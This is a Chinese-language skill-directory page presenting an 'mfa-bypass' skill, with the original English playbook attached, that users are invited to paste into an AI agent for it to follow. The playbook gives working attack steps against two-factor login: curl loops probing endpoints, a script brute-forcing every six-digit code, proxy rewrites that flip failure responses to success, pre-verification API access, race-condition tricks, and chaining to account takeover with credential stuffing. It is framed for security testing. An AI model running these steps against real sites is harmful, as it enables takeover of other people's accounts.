跳到正文
Skillpedia
安全6.5k · #14071

mfa-bypass

它能做什么

这项技能说明双重验证检查可能如何失效,包括响应被篡改、速率限制薄弱,以及跳过第二步的重置流程。适合安全测试人员。

适用场景

  • ✓当网站使用一次性验证码或双重验证检查,而你想测试它们时。
  • ✓当安全审查询问双重验证检查是否有速率限制或锁定机制时。
  • ✓当密码重置或记住设备功能可能跳过第二因素时。

技能链接

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/mfa-bypass/SKILL.md

复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。

使用方法

最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。

可直接粘贴的消息

请用这个技能帮我:https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/mfa-bypass/SKILL.md 阅读该链接中的 SKILL.md 文件,并在我的任务中按照它的说明来做。
想让你的 AI 自己找到这样的技能吗?安装免费的 Skillpedia MCP:只需一行,每次任务前它都会在 15,000+ 个技能中搜索。1 分钟完成安装 →

可以这样问 AI

“请帮我检查,我登录页面上的双重验证码能否通过大量尝试被猜中?”

每周 5 个新技能,1 分钟读完。

工作原理

智能体梳理应当要求第二因素的步骤,发送错误的验证码以查看是否触发限制,并检查重置或记住我等其他流程是否跳过了检查。

技术内容(原始 SKILL.md)

作者在 GitHub 上的英文原文。

MFA / 2FA Bypass Playbook

Logic flaws in the second factor are pure ATO. Common because devs ship the happy path (enter code → success) and forget the negative paths: response tampering, brute force, replay, race, alternate flows, remembered devices.

1. Detection — map the 2FA surface

Enumerate every flow that should require a second factor:

# 1. Inventory paths involved in step-up
for p in /login /login/2fa /api/2fa/verify /mfa/verify /account/security \
         /account/email /account/password /password/reset /password/reset/confirm \
         /oauth/authorize /api/session /api/session/elevate /backup-codes; do
  curl -s -o /dev/null -w "%{http_code}  $p\n" "https://<TARGET>$p"
done

# 2. Submit a wrong OTP — what does the response look like?
curl -s -i -X POST "https://<TARGET>/api/2fa/verify" \
  -H 'Content-Type: application/json' -H "Cookie: session=<HALF_AUTHED>" \
  -d '{"code":"000000"}'

# 3. Rate-limit probe — burst 20 wrong codes
for i in $(seq 1 20); do
  printf '%s ' "$(curl -s -o /dev/null -w '%{http_code}' -X POST \
    "https://<TARGET>/api/2fa/verify" -H 'Content-Type: application/json' \
    -H "Cookie: session=<HALF_AUTHED>" -d "{\"code\":\"$(printf '%06d' $i)\"}")"
done; echo
# If no 429 / lockout → brute force is open

2. Flaw matrix

Class Symptom Bypass
Response manipulation server returns {"success":false} but client trusts it intercept → flip to true
Status-code tamper 401 vs 200 only checked client-side rewrite 401 → 200 in proxy
Flag tamper mfa_required=true in JWT/JSON edit to false, resign / unsigned alg
No rate limit unlimited wrong OTPs 6-digit OTP = 10⁶ — brute over hours
Per-IP limit only limit on attacker IP, not on user rotate IPs / X-Forwarded-For
OTP reuse same code valid after use replay last code in a new session
OTP no expiry code from yesterday still works mine old SMS / email
Predictable OTP seeded by userid/timestamp precompute
Backup-code abuse unlimited tries, codes never expire / not invalidated brute backup codes endpoint
Race condition two requests in flight — both succeed parallel POSTs (HTTP/2 single-packet attack)
Missing 2FA on flow /login enforces, /api/login does not use alternate endpoint
Missing 2FA on password change password change re-enables full session reset → skip 2FA
Password reset skips 2FA reset token logs you in without 2FA abuse reset link
OAuth / SSO skips 2FA social login returns a fully-authed session login via Google instead
Remember-me cookie persistent cookie skips 2FA forever steal remember-me via XSS / log leak
Direct object access /api/account works on half-authed session call protected APIs pre-2FA
Enrollment race attacker enrolls own TOTP for victim before victim does hit /2fa/enroll first post-login
Recovery channel takeover SMS → SIM swap, email → email ATO downstream factor compromise

3. Exploit PoC

3.1 Brute-force a 6-digit OTP (no rate limit)

COOKIE='session=<HALF_AUTHED>'
for i in $(seq 0 999999); do
  CODE=$(printf '%06d' $i)
  CODE_LEN=${#CODE}
  RES=$(curl -s -o /dev/null -w '%{http_code}' -X POST \
    "https://<TARGET>/api/2fa/verify" -H 'Content-Type: application/json' \
    -H "Cookie: $COOKIE" -d "{\"code\":\"$CODE\"}")
  [ "$RES" = "200" ] && { echo "HIT: $CODE"; break; }
  (( i % 1000 == 0 )) && echo "tried $i ..."
done

3.2 Response-flip bypass

# Original server response
HTTP/1.1 200 OK
{"success":false,"mfa":"required"}

Rewrite at the proxy:

HTTP/1.1 200 OK
{"success":true,"mfa":"passed"}

If the SPA only inspects JSON to decide navigation, session cookie is already full-authed server-side and the redirect succeeds.

3.3 Direct post-2FA endpoint access

# Half-authed cookie after username+password, BEFORE OTP
curl -s "https://<TARGET>/api/account" -H "Cookie: session=<HALF_AUTHED>"
# If it returns full account data → broken step-up.

3.4 Race condition (HTTP/2 single-packet)

# Use Turbo Intruder "single-packet attack" — fire ~30 verify requests with the
# *correct* OTP in one TCP packet; servers that decrement attempts non-atomically
# accept multiple, and 2FA-disable mutations slip through.

4. Chains

  • MFA bypass → ATO is itself the chain endpoint. Pair with credential stuffing for scale.
  • Password reset skips 2FA → ATO
常见问题

这里的响应篡改是什么意思?

就是修改服务器的回复,例如成功标志,以检查应用是否在没有有效验证码的情况下继续进行。

它会测试猜测次数的限制吗?

会。它会发送一批错误的验证码,检查是否出现任何速率限制或锁定。

竞争条件也涵盖在内吗?

是的,该技能将竞争条件列为双重验证检查可能失效的一种方式。

详情

作者的原始描述

2FA / OTP logic flaws — response & status tampering, brute force, OTP reuse, backup-code abuse, race conditions, missing-2FA on flows, remember-me bypass, password-reset skips 2FA.

repo: BitterSecurity/Decepticon

热度

GitHub 星标
6.5k
排名
#14071
许可证
Apache-2.0
更新时间
2026/11/1

这个技能有用吗?

0

登录 后即可投票。

评论

  • …

同一仓库的更多技能

相似技能